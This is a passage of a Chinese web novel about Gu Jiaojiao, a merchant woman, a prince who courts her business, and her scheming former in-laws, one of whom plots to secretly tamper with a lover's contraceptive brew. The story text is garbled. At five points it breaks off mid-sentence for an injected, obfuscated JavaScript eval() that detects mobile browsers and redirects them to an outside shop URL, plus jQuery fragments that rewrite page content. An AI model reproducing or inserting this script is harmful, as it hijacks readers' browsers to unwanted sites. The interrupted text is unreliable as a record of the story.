“霓裳阁虽有盈利,与您而言不过是蝇头小利,您真的瞧得上?”顾皎皎顿了顿,将话挑明,“我不信您看中了霓裳阁的前景,那您到底是为了什么呢?” 沈云祉轻笑出声,情不自禁鼓了鼓掌:“顾姑娘有这份胆识与眼力,便代表本王没有看错人。” “你既然如此坦诚,那本王也不拐弯抹角。”沈云祉剑眉星目,深邃的眸子如一滩深渊看不见底,“本王当然是为了……你啊。” 顾皎皎如临大敌,难得露出惶恐神色:“小王爷这是在说笑吗?还是为了……为了寒奉寺之事,不过是一场错误,我不会借此要挟您半分,您也不必补偿我。” “此前不是早已说开了,就当是从未发生过,” 这话听着耳熟,确实是他所言所做,不过再次回味,心中却有几分不是滋味。堂堂小云南王,竟然又被一个平凡商女拒之千里。 “什么寒奉寺?本王与你此前从未见过。”沈云祉面色如水,看不出喜怒,“本王欣赏你的经商才能,许久前便说清过。本王名字资产确实不少,却始终缺一个可心的打点之人,瞧着你倒是合适。” 顾皎皎松了口气,继续挂上端庄的笑意:“不想小王爷竟然还记挂着此事。只是我实在分不出精力再为您效力了,还请王爷另觅良人。” 她能感觉到一定还是更深层的缘由,但既然小云南王不愿再提,也不好揪着不放。 眼下只需与他保持距离,莫要有过多牵扯。 “那顾姑娘便考虑考虑霓裳阁革新的事由吧。本王名下倒还没有成衣铺子,多添一个倒也不错。” 沈云祉起身在屋内踱步,细长的眸子扫过屋内每一件成衣陈设,毫不不吝啬欣赏之情:“是些好样式好料子,就算送给宫里的娘娘怕也能得到青睐,足以瞧得出你是费了心思的。” 称赞戛然而止,沈云祉转身对上顾皎皎飘忽的眸子,一字一句落在她的心上:“好东西,本王一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017321|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向不愿放过。” 这话听着脊背发凉,顾皎皎正要开口,就叫他提扇阻拦:“过了晚膳时辰,你派人去一趟京城驿站,本王忽然想做一身新衣了。” 顾皎皎思绪在脑中百转千回,最后却只化作一句:“是,一定安排妥当。” 沈云祉拂袖离去,顾皎皎便站在窗边亲眼瞧着他呈上马车离去才放下戒备,无力地坐在软凳上。 “姑娘,小云南王这是什么意思啊?”莺儿上前,满面疑惑。 顾皎皎摇头:“不知。此人行事没有章法,叫人摸不着头脑。日后兵来将挡水来土掩,小心应对便是。” “你下去叫掌柜的将小王爷这桩生意安排妥当,掐着时辰便去,不能出丝毫差错。” 她拿不准沈云祉与孙协兆的关系到底有多密切,但直觉他应当不会如此不务正业为了一个半吊子如此自降身价。 “对了,我叫王吉多留意安阳侯府的事情如何了?” 顾皎皎压低声音,只是提起这个地方便觉得晦气万分。 但她那日那样驳了安阳侯府的面子,难免那群不分青 红皂白的腌臜小人存心报复,可得仔细着。 莺儿面上得意,笑道:“姑娘放心,他们都像缩头乌龟一般躲在府里不敢见人呢!都这些日子了,也没见找人将府里休憩一番,怕是没人舍得花银子。” 顾皎皎轻笑一声,目光冷峻:“倒也在意料之中,银子不从自己口袋出便那样如流水的花销,终于是自食恶果了。” 想着,顾皎皎收起目光,侧身叮嘱:“叫王吉多盯着孙协兆,定要留意他与小云南王交往是否密切,平日都在何处交谈,又费了多少时辰,都要悉数记下。” 思来想去,顾皎皎还是担忧孙协兆这个小人会在身后嚼舌根子,毕竟小云南王此番重重像极了试探,她不得不提前防备。 成为皇商之路漫漫,想要守住父亲的基业和顾家,每一步都须得小心谨慎。 “是,奴婢这就去办。”莺儿快步离开。 第一百零七章 都是缓兵之计? 京城别院。 大汗淋漓的两人靠在床榻相互慰藉,徐青青趴在孙协兆的胸膛,小心缀泣。 男人本沉浸在舒爽之中,闻见声响当即坐直了身子,扶起身侧佳人双肩,心疼地望着她粉雕玉琢的小脸。 “怎么忽然哭了?难道是我弄疼你了吗?” 徐青青梨花带雨,轻拭泪珠:“不疼,只是忽然想起你我两人的前路,觉得心口隐隐作痛。” 孙协兆顿时紧张起来:“青青,你这是何意?难道你还要与我诀别吗?” 他心底五味杂陈,若当真如此,那方才的甜言蜜语郎情妾意又算作什么? 难不成方才给的希望都是缓兵之计? 徐青青泪流不止,柔若无骨的扶在他的膝上,满是遗憾:“我只是忽然想起你与顾皎皎和离之事,觉得心里难受。” 孙协兆听得满头雾水,耐着性子柔声询问:“这话是何意?我与那低贱商女和离后便是自由之身了,如此我们两人之间便再无阻隔,如此不好吗?” 徐青青坐起身,埋怨地白了他一眼:“听闻那日她搬空了大半个安阳侯府,嫁妆也悉数带走了。没了那些银子,你还能风风光光的来王府娶亲吗?” “父亲眼下正对你有所芥蒂,你若再不能拿出些像样的东西,怕是我们终是得落得形同陌路的境地。” 徐青青一边擦去眼角的泪珠,一边观察着他的神情。 若是嫁进安阳侯府不能继续过荣华富贵的日子,她又何苦上赶着前去受苦。 原本她便是盯上了顾皎皎那份嫁妆,却不想一向懦弱的低贱上商女忽然像变了个人一般,事情做的如此不留后路。 孙协兆若有所思,心下觉得在理。若是安阳侯府拿不出诚意,怕是平王未必肯将青青嫁过来。 只是想起那破败的如同废弃的古宅一般的孙府,他就觉得头疼欲裂,面上无光。 他可就不信,离开了顾皎皎安阳侯府便寸步难行了! “青青,你放心,我自然是舍不得你受半分委屈,她将那些沾染了商气的低贱之物尽数拿走才好,这样我才能重新休憩侯府,都打造成你喜欢的模样。” 徐青青安心下来,擦去泪水露出笑意:“孙郎,这次可不要让我失望了哦!” 两人见时辰还早,又腻歪了片刻。 直到门外的青儿出声提醒,孙协兆才手忙脚乱地理好了衣衫,依依不舍地转身离开。 刚是碰到门栓,他忽然停住步子,犹豫片刻才将腰间的钱袋扯了下来,一把塞进徐青青的手里。 “青青,眼下我便只有这些银子,你且守着补贴油水,你在这别院时日已久,想是受了不少委屈,往后你我不能常常见面,你可要照顾好自己。” 徐青青捧着沉甸甸地银子,努力压抑着嘴角的笑意,只得扑进怀中掩饰:“孙郎,你也要好生保重。” 语毕,不等孙协兆回应她便背过身去,单薄的背影轻轻颤抖:“时候不早了,你快些离开吧。再继续在此,难免会叫人找出破绽。” 孙协兆苦着脸,推门离去。 安阳侯府。 自从顾皎皎离开后,府中用度便一日不如一日。 每日上桌的膳食也少见荤腥,更别提稀罕之物。 孙老夫人拿起玉筷,望着桌上的翠绿实在提不起半分胃口:“厨房是如何当差的?怎地日日都是这些清淡之物,吃得老身都要走不动路了!” 膳厅伺候的丫鬟小厮应声跪下,垂着头不敢应答。 最后还是宋嬷嬷面露苦色,俯身回应:“老夫人,公中银子本就所剩无几,又得拨出些修缮府邸上下,还得发放下人们的月例。吃喝用度上难免委屈了些。” 桩桩件件都要使银子,孙老夫人心有怨恨也使不出性子,怒火钟少狠狠剜了章氏刘氏一眼。 真是两个蠢笨拖后腿的东西! 孙府出事这些日子也未见向娘家伸手帮衬,只知道窝在府里哀声连天,看着心烦。 章氏和刘氏一脸苦大仇深,饿得面容憔悴,提不起精神。 刘氏满目愤恨,理直气壮:“娘,都怪那个顾皎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017322|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皎!若不是她不留情面,安阳侯府也不至于落得如此田地。” 章氏也在一旁帮衬:“听说她名下产业可不少,借着咱们安阳侯府的气运狠狠捞了一笔。商人重利轻别离,她倒是滋润了,叫母亲你此处受苦。” 两人的话激得孙老夫人摔了玉筷,浑身发抖:“倒是忘了这茬了。她用着安阳侯府的名号生财,却能心安理得地搬走了府里的稀罕物件,真是心思恶毒!” “有我在京城一日,便不能叫他如此猖狂。是孙府的,必定得要回来!” 孙老夫人满脑子是顾皎皎借着和离涨了名气生财,若非安阳侯府名声在外,她必然掀不出如此水花。 这些意外之财,就得有她的一份。 身上的银子都给了出去,身无分文的孙协兆只得先回府,想着先在公中拨些救急。 刚过午时,孙府大门紧闭,寂静无声。 孙协兆叹了口气,无可奈何地将身边的随从上前叩门。若非实在没有银钱,他是不愿回来的。 听闻孙协兆回来,孙老夫人 拄着拐宅匆匆赶来。 饿了些日子脚步虚浮,心中焦急却步伐缓慢。 孙老夫人双手紧紧握住孙协兆的双臂,老泪纵横哽咽出声:“协兆我儿啊!你终于是回来主持公道了!” “你可知那个贱人将侯府洗劫一空啊!不仅将银子全都带走了,还将贵重物件都顺了去。如今府里上下一片萧瑟,公中银两所剩无几。这可如何是好啊……” 刘氏在一旁添油加醋:“三弟,母亲这几日吃不好睡不好,身形都消瘦了一圈,再这样下去怕又要往府里请大夫了。” 孙协兆面色为难,一边将人扶回正厅坐下,一边说明自己的处境:“母亲,银子之事实在爱莫能助。我只有那些俸禄,只怕是泥菩萨过江自身难保了。” 他并无多少真才实学,仰仗着父亲的名号也只谋了个不大不小的官职,这才费力攀上小云南王,妄图平步青云。 况且他回府就是为了取银子,又能从何处变出银子帮衬家里? 第一百零八章 不谋而合 孙老夫人的肩膀抖动的越发厉害,好似受了天大的委屈:“一个两个都如此推脱,难道这重担要丢在我一个老婆子身上不成?我的体己可都见底了,再是没有多的了。” “我孤身撑着偌大的安阳侯府数十载,如今府上遇到了难事竟然连一个帮衬的都没有,真是叫人寒心。” 老夫人哭诉时还不忘撇看呆站在一旁的章氏和刘氏。 两人心如明镜,却不约而同地挪开眸子,揣着明白装糊涂。 顾皎皎走时未曾手下留情,如今府上的亏空怕是天文数字,自然是多一事不如少一事。 孙协兆心底不是滋味,对顾皎皎的怨恨加深几分:“母亲,事到如今着急也无用。不若想想别的法子。” 孙老夫人弹坐起来,满是褶皱的老脸还挂着未干的泪痕,眼眶的湿润洗去了几分浑浊:“还能有什么法子?” “两位嫂嫂呢?”孙协兆不动神色将矛头对准章氏和刘氏,“这两年你们可花了三房不少银两,难道就未存在一心半点?” 刘氏一惊,面色尴尬,心虚开口:“我不过一介深院夫人,名下也没有铺子作为嫁妆,又能攒下什么呢?况且我院子也有不走公中的花销,也都靠着我那些本就不多的嫁妆撑着呢。” 章氏见状,也夸大其词:“是啊三弟,各院都有各院的难处,我娘家更是落败,要花银子的地方可不少。况且顾皎皎可将能搬走的都搬走了,即便这两年花了你院子里银子,也都叫拿回去了。” 脑中不由自主地浮现出那日三五壮汉在府内穿梭的身影,肩上手上都抱着价值不菲的瓷器字画,很是心疼。 两人各执一词,不肯退让,无非就是不肯拿银子。 孙老夫人气得肝疼,却还是忍住没有发作,三言两句就将这一毛不拔的两人打发走了。 偌大的正厅只余下母子两人,食案上的残羹剩菜也尽数叫人撤了去。 孙老夫人迫不及待:“如今此处没有耳目了,你此番回来可是带了什么好消息回来?” 自从顾皎皎高调离开后,她就一直挂念着徐青青。虽然不曾听闻平王认回了郡主,但连日里的推波助澜,想来也是水到渠成的事情。 孙协兆点了点头,面上忧思却不见缓解:“回府前,我去见了青青一面。” “当真?!”孙老夫人眸子一亮,仿佛瞧见了安阳侯府翻身的日子,“青青那边怎么说?平王何时将她认下?” 孙协兆的面色越发凝重,无奈地摇了摇头:“此事先不论。平王如今的意思是叫青青与我少来往。今日便是好不容易才稳住了青青,好在我们两人之间尚有真情。” 一听这话,孙老夫人顿时慌了神,一把攥住他的衣袖:“怎么会这样,之前不都好好的?” “还不是母亲往日行事实在没有分寸。”孙协兆出声责怪,烦躁懊恼,“若不是你没能制衡顾皎皎那个低贱商女,任凭她带走了府里大半财产,平王又怎会如此?” 日子久了,孙府上下无一人不将顾皎皎的嫁妆当做自己的东西,这才如此劳心伤神,觉得是她强多了安阳侯府的家财万贯。 “顾皎皎就交给我来对付。”孙老夫人表情阴狠,勾起一抹恶毒笑意,“她现在的生意可有着安阳侯府一份呢,可不能叫她逍遥自在。” 孙协兆脸色这才缓和:“如此也好,只是须得想个法子将侯府修葺一番,总是这副模样岂不叫人耻笑?” “平王本来对我有了芥蒂,再拿不出承受的府邸,怎么可能会让青青嫁进来?” 虽是这样说着,但他心底也知道银子不易,多得是干巴巴的心急如焚。 孙老夫人眼珠一转,生了心思:“协兆,若是青青此生只能嫁于你呢?” “我又如何不想?可青青是郡主啊,身份尊贵,又容貌倾城。”孙协兆蹙眉,想不通母亲怎能说出如此天真之语,“怎会就只能嫁……母亲,您的意思是?” 平淡的话语在脑中走了一遭,忽然在某处生根发芽肆意生长。 母子两人眼神交汇,不言而喻。 孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017323|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老夫人点了点头,面上尽是得意,好似胜券在握:“若是青青能够怀上安阳侯府的骨肉,咱们悬着的心便可以放下了。女子贞洁何其重要,她本就失身于你,既然是成了公认的郡主,想必也难找门当户对的门第。” “若是再怀上孩子,只怕是皇上的公主都只能认命跟着腹中孩子的父亲了。协兆,这可是安阳侯府翻身的好机会!” 孙协兆若有所思,也觉得此事可行。只是他每每与徐青青亲热,她都会及时喝一碗避子汤药,看来还要盘算一番。 “此事我会想办法。” 他眼眸坚定,脑中已想到了妥善的计策。若是这药房少了一味药材,汤药不成,岂不手到擒来? “只盼着这回老天能庇佑咱们孙府。青青是平王郡主,若真能嫁过来想来嫁妆也不会少,到时候我就将掌事大权交由她手,府里的亏空便就能填补上了。” 孙老夫人双手合十,模样虔诚地摆着不知何方天地的神仙菩萨。 孙协兆点了点头,两人想法不谋而合。 “即便如此,也要提防着平王舍不得女儿。未 得手前,还是得劳烦母亲打点好侯府上下。” 孙老夫人环视一圈,硬着头皮应承下来:“是了,求娶郡主自然马虎不得,府里上下也要体面得到。府内修缮须得请建方斋来做,至于银子,为娘自有办法。” 听了这话,孙协兆终于展露笑颜,拾起了本不多的孝心:“若非有娘亲支持,孩儿如何能走得长远。等孩儿顺利娶了青青,一定让您颐养天年,再不操劳了。” 孙老夫人感动得连连点头:“你有这份心自然是好的。只是近来小云南王那处可还顺利。” “不好言说。”孙协兆面带忧愁,想着沈云祉近日行踪便心下难安,“小王爷行事无拘,自由散漫惯了,总是没有定数。我小心侍奉就是,娘亲不必挂心朝堂之事。” 母子两人又寒暄几句,孙协兆便回了客栈。 事态紧急,他还得寻个由头去见徐青青一面才好。 第一百零九章 确实有几分诚意 顾府。 月色中天,稀薄的云遮住半轮月光,平添了几分朦胧之意。 顾皎皎一如往常,挑灯算账,不时合上眸子缓解酸涩。 莺儿端了杯参茶进来,放在顾皎皎手边,而后拿起墨石研磨:“姑娘,王吉晚些时候传来消息,小王爷这几日并未与孙三有往来。后头他会继续盯着的。” 顾皎皎抿了一口参茶,蹙眉感到意外,却没有多问,只点了点头。 她不想与他们再有过多的牵扯,自然对其中门道并不在乎。只是有关她的警惕防备便可。 “今日霓裳阁掌柜去驿站之后,可发生了什么?小王爷可有为难之意?” 莺儿摇了摇头:“并未,倒是小王爷很是忙碌,并未叫伙计丈量尺寸,只要了样式,就将人打发了。” 顾皎皎低头看账,神色如常:“随他吧,不找霓裳阁的麻烦就好。” 沈云祉会态度如此尽在她意料之中,今日他不请自来原本也不是为了置办衣衫。差人去驿站怕是维持表面的体面,糊弄几句也是情理之中。 夏夜闷热,寝室的窗棂刻意留了缝隙。有微凉夜风钻进耳室,惹得烛火飘忽,身形一晃。 莺儿连忙走过去合上窗户,犹豫着开口询问:“姑娘,其实奴婢不明白为什么您连同小王爷做生意都不肯。若只是当个生意伙伴,关系岂不单纯许多?” “况且对咱们成为皇商也大有益处,最重要的便是小王爷瞧着确实有几分诚意。” 顾皎皎手上动作不停:“利益之事才是最沾染不得的,那日我也与你说清了我心中所想。” “他如今觉得我有利用价值,自然肯花时间心思。只是这背后到底隐藏着什么便不得而知了。” 莺儿一知半解,没再坚持。她没有姑娘想得周到,那便多听多做,只听姑娘吩咐便是。 烛火又燃了半指,手边的半盏参茶也已凉透。 顾皎皎合上账簿,起身活动筋骨,看着趴在桌边昏昏欲睡的莺儿不禁失笑。 她轻轻捏了捏莺儿的脸蛋,语气宠溺:“早与你说过,不许整夜整夜陪我熬着,瞧你这小脸都蜡黄了。” 莺儿睡眼惺忪,一边打着哈欠,一边胡乱收拾着桌角一隅:“不行不行,自然是要陪着姑娘的。” 顾皎皎面露柔情,心底的柔软再次被不捉痕迹的触动。 “谢谢你,莺儿。” 短短月余,她就已经历了大起大合。虽然前两年的日子也不好过,但至少明哲保身,乐得自在。可这最后的自得都要被射击剥夺。 如今,她已别无所求,只想打点好手下这些产业,照顾好自己在意的人,过平淡顺遂的日子。 莺儿咧着嘴傻笑:“姑娘这是说得哪里话,奴婢为您做这些都是应该的。” “时候已经不早了,奴婢伺候您先睡下吧。明日还要晨起,再耽搁下去便要提不起精神了。” 顾皎皎睡下时,天边已泛起鱼肚白。就着微弱的光亮,她才拥有了短暂的安宁。 安阳侯府。 章氏和刘氏相互搀扶着走进正厅,孙老夫人已经在主位坐着了。 两人行礼坐下,望着案上稀疏如水的白粥,和几道寻常小菜付之一叹,久久不肯动筷。 孙老夫人睨了两人一眼,出言讥讽:“这是什么了?饭菜不合你们两人胃口?” 章氏尴尬一笑:“母亲说笑了,怎会不合胃口?只是眼下并不觉得饿罢了。” 刘氏出声附和:“是了是了。这几日日头又毒了些,烤得人难受,难免胃口会差些。” 孙老夫人放下玉筷,不紧不慢开口:“也是,早上的燕窝怕是吃撑了吧,怎会瞧得上这里的粗茶淡饭。” 事情败露,两人一脸心虚,面面相觑,试图瞒天过海。 她们身上自然是存了体己的。孙府如今落寞,方方面面大不如前,就连主子们的饭食都开始克扣。 她们家世不差,自小锦衣玉食如何受得了如此委屈,但又担心银子被老夫人盯上,只得日日在各自院子里偷吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017324|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光是瞧着那做贼心虚的神情,便知晓此事八九不离十。孙老夫人又气又恼,忍着没有发作。 “知道你们过惯了之前的好日子,我并未打算责怪你们。只是如今侯府遇难,也确实要你们帮衬着些。” 刘氏最沉不住气,当即出声为自己辩解:“母亲,我是心有余而力不足啊。我那些嫁妆这几年也花得差不多了,余下的怕也难改大局。” 章氏便聪明些,低着头在一旁不语,细细观摩着老夫人的表情。 孙老夫人冷哼一声,浑浊的眸子狠狠剜了一眼,气得心口发堵。从前倒不知道这两人如此自私自利,连那几分孝心都要所剩无几了。 “不要你那些可怜银子!”孙老夫人鼻孔出气,“你们今日便去第一楼和霓裳阁瞧瞧去,不能叫顾皎皎沾着安阳侯府的名声继续赚银子。若是她不肯,便叫他将一千两银子还来。” 刘氏眸子一亮,露出贪婪的表情:“母亲,当真有法子要回来吗?” 孙老夫人面色得意,很是笃定:“她绞尽脑汁弄出和离这场戏,不就是为了在京城名声大噪。若不是利用安阳侯府 搭台子,谁能瞧得见她那低贱商女?” “她从前是什么性子你们可都瞧见了,如今性情大变便罢了,离开那日偏要大张旗鼓地将繁重的物件都搬走,不就是为了引来城中人看笑话,记住她那张脸吗?” “这一切都是因为安阳侯府的名声,才叫她得逞,竟真的赚得盆满钵满!” 孙老夫人越说越激动,忍不住拍案而起,满目愤恨。 刘氏听得入神,忽然茅塞顿开:“原来如此!这妮子果然低贱,竟然想出这样踩低侯府拉高自己的恶毒法子,城府极深,令人作呕!” 章氏红了眸子,想起大笔的银子便觉得心如刀绞:“她从前也未提起霓裳阁和第一楼都是她的产业,可从咱们兜里赚了不少银子。” 孙老夫人被这话点醒,语调尖锐起来:“说来也是。那是她自己的铺子,定然是不收她钱的,凭什么都算在府内开销上?” 第一百一十章 怎能保证万无一失 “好你个顾皎皎,竟然还算计到我头上来了!”孙老夫人捏紧拳头,恨不得将人生吞活剥,“也不知平白叫她多抽走了多少银子,今日都要叫她吐出来!” 刘氏义愤填膺,上前搀扶老夫人,谄媚道:“母亲,我陪您一同去!” 她可是在霓裳阁花了不少银子,若真能要回来,不知手头会多宽裕,自当是义不容辞。 章氏站在一旁唯唯诺诺,想到顾皎皎那张清冷面容便有几分忌惮。 奈何眼前两人胜券在握蠢蠢欲动,她只得轻声提醒:“母亲,此事须得从长计议啊。顾皎皎心底可不知道揣着多少坏心思,咱们贸然前去,难免再折了侯府的脸面。” 不等孙老夫人开口,刘氏便已经忿忿不平:“大嫂这是怕了不成?顾皎皎将安阳侯府迫害成了如此模样,你倒替她筹谋起来了。” 刘氏只觉得章氏站着说话不腰疼,她当家时那一桌百两的席面还历历在目,现在想来未必不是顾皎皎使的轨迹。 章氏连忙否认:“我何苦为她辩解,只是她次次颠倒黑白,我们若不谨慎些,怎能保证万无一失。” 孙老夫人坐着顺气,若有所思觉得此话在理。往日着了顾皎皎的道便是思虑不够周全,这才叫安阳侯府吃了大亏。 若今日贸然行动,出了岔子又不好弥补。眼下正是平王考验孙府的关键日子,若是出了差错当真是不好收场了。 安阳侯的空子还等着徐青青用嫁妆贴补,自是不能轻举妄动。 眼见着孙老夫人面容缓和,有动摇之势,刘氏乱了阵脚,急忙开口:“此事本就是顾皎皎理亏,她又能如何辩解?况且离开多日,岂能知晓安阳侯府的动向,今日过去恰好杀她个措手不及!” 自从知晓银子有能要回来的可能,刘氏便再等不及。她如今吃完燕窝都要隔上几日,这样苦日子实在难熬。 “有理。”孙老夫人沉思片刻,一锤定音,“来人,备马车!” 安阳侯府正是用银子的时候,她无论如何也要赌这一把。若是府邸再不加紧修葺,怕是平王舍不得给出太多嫁妆。 第一楼。 正站在柜台算账的顾皎皎忽地鼻腔一痒,轻嚏一声。 莺儿走了过来,抬手摸了摸她的额头:“姑娘好端端的这是怎么了?难不成昨夜休息得太晚,着了寒气?” 顾皎皎捏起手帕擦去点点湿润,并未放在心上:“不打紧,许是巧合吧。” 转眼到了午时,第一楼的客人络绎不绝,安阳侯府的马车也赶到此处。 孙老夫人被刘氏扶着下车,大摇大摆地走进第一楼,直朝着柜台而去。 清明的台面忽然被几道阴影笼罩,顾皎皎下意识抬起头来,却不想见到了几张熟悉面孔。 “几位是来用膳的吗?”顾皎皎垂下眸子,漫不经心,“第一楼堂食位置一向紧俏,此刻又是午时,三位怕是要等上一会了。” 孙老夫人满脸兴师问罪,明眼人都知晓来者不善,但顾皎皎懒得理会。 她们虽蠢钝如猪,却有着仕途之人的高傲,众目睽睽之下也不能做出出格的举动来。 见被冷落,孙老夫人气不打一处来,当即开口质问:“你欠安阳侯府的银子预备什么时候还来?” 顾皎皎终于抬起头来,沉静的眸子写着不解,又逐渐生出怜悯和同情:“孙老夫人是在说那一千三百万两白银吗?孙府早已还清,债务自是一笔勾销,不必再亲自来这一趟。” “你休要在这颠倒黑白!”孙老夫人怒极,夺过顾皎皎手中毛笔丢弃在一旁,“第一楼和霓裳阁分明都是你的产业,在侯府时竟然还舔着脸收府里的钱,甚至算在了府内花销,怎么不算你品行低劣,只知算计自家人。” 顾皎皎冷眼看着她无理取闹,只在心中庆幸当日的明智之举。若不是留了个心眼,那名下的这些铺子怕是要被这老虞婆搬空。 “第一楼与霓裳阁堂堂正正开门做生意,收银子是天经地义的事情。若孙老夫人今日是来理论常识,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017325|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是请回吧。” 顾皎皎仍不愿理会,绕过柜台就要上二楼雅间。 “不许走!”孙老夫人大喝一声,使个眼神叫章氏刘氏上前挡住她的去路,“你设计吞了安阳侯府的白银,就得全部吐出来!” 柜台的动静大了,不少宾客聚上前来,门外也沾了些看热闹的百姓,皆是窃窃私语。 顾皎皎本不想将事情闹大,但既然她不顾脸面,她也不必继续将情面。 “孙老夫人,你说我设计吞了安阳侯府的银钱,那请问当日账簿记下的每一笔账目,可都是你们亲自花的?”顾皎皎转过身,死死盯着那双浑浊的眸子,步步紧逼。 孙老夫人被这气势唬住,步态未稳,连着退了几步,却仍旧固执已见。 “是我亲自花的又如何?”她挺直脊背,趾高气扬,“别忘了当日你是怎么嫁进安阳侯府的,你的嫁妆本就属于孙府!既如此,你怎能昧着良心收取侯府钱财?” 顾皎皎嗤笑出声,原本的愤怒荡然无存,被三人的厚颜无耻逗笑。 “敢问孙老夫人,当日我的嫁妆簿子里,何时添上这第一楼和霓裳阁了?我的嫁妆可一直都只有 成箱的金银细软,再就是顾府余下的古董陈设,不都被你们一扫而空了吗?” 孙老夫人一时语塞,又叫顾皎皎站了上风。人群中已有取笑之声,听得三人面上青一块红一块。 章氏和刘氏的脸皮到底薄些,被人这样盯着取笑议论早已眼观鼻鼻观口口观心,恨不得钻进地缝。 唯独孙老夫人还穷追不舍:“这便是你欺瞒安阳侯府的铁证!既然是你名下的资产,合该是你的嫁妆!可你私心作祟,可见一斑!” 顾皎皎眼神冷了下来,一字一句道:“我的嫁妆是父亲还在时就定下的,当日的帖子您也过目了。” “而这霓裳阁和第一楼是我一手打造,又岂会受父亲支配?孙老夫人,就算安阳侯府式微,您也不能病急乱投医,死咬着我这个前儿媳不放吧?” 第一百一十一章 说不出话拒绝的话 顾皎皎如此直白地点出安阳侯府外强中干,孙老夫人一时气恼,正欲动手。 “你休要胡言乱语,抹黑我孙家!” 眼见着孙老夫人扑来,顾皎皎只侧过身去,便叫她踉跄着摔进宋嬷嬷怀里。 老夫人正要发作,只听门外传来一道柔和男声:“是非对错,自在人心。既已和离,顾姑娘便与安阳侯府再无干系,老夫人这般咄咄逼人,又是为何?” 话音刚落,一身着月白长衫的温润公子从人群中走来。侧眸看去,来人正是杜玉荣。 孙老夫人向来欺软怕硬,见如此大人物来为顾皎皎撑腰,一时支支吾吾说不出话。 刘氏见状,连忙出声找补:“只是有些账目尚未算清,这才过来商讨。” 顾皎皎冷笑一声:“那如今我可同你们讲清楚了?” 一声质问,那头又没了言语。 杜玉荣正要开口,顾皎皎便使了眼神,上前一步:“今日难得你们刻意过来一趟,我也该尽地主之谊才是。” 说着,她招手叫来第一楼掌柜,吩咐道:“你且在楼上开间雅间,备上第一楼的好酒好菜,请三位夫人前去用膳。” 孙老夫人气焰削了一半,心虚得说不出话,却又忍不住咽了口水。第一楼的菜式和口味都是京中一绝,她又连着饿了几日,实在是说不出话拒绝的话来。 顾皎皎勾唇一笑:“孙老夫人放心,这一顿包在第一楼身上,无需银子。” 孙老夫人面上一红,却还是灰头土脸地跟着小厮上了楼。 莺儿在一旁瞧着,十分不悦,却又碍于场合不能发作。 顾皎皎遣散了围观的人群,才转身向杜玉荣表达歉意:“竟又叫杜大人看笑话了,十分惭愧。” “不必如此客气。”杜玉荣温柔一笑,“方才路过此处,见人群密集便生了兴趣。顾姑娘处理得十分妥当。” 他不禁想起初见子女时的风姿。这不卑不亢的态度叫人刮目相看。她似乎真的与那些管家女子不太一样。 “不过是件小事。”顾皎皎抿了抿唇,“杜大人要事如何了?莫要耽误了时辰。” 杜玉荣摇了摇头:“便是回来的路途偶遇。今日来此,便是念着第一楼的糕点,实在叫人流连忘返。” 顾皎皎的面上终于多了份笑意:“若只是糕点这样的小事,你派小厮过来知会一声,我差了人送去府上便就好了。” 杜玉荣笑意凝固一瞬:“一回两回便是算了,第一楼开门做生意,自然不能如此不成章法。” 谈笑间,莺儿已经两袋**好的糕点呈了来。 顾皎皎接过糕点塞进杜玉荣怀中:“杜大人不必如此客气。您有恩于我,您便让我好生安稳的报一番恩吧。” 